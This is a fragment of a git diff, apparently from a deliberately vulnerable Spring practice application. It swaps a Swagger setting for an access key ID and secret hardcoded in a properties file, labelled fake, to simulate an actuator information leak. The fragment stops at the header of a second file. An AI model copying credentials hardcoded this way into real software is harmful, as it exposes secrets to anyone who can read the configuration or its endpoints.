-swagger.enable = true
\ No newline at end of file
+# Fake aksk. Simulate actuator info leak.
+jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
+jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7
\ No newline at end of file
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 671045d5..7e7061be 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -5,22 +5,30 @@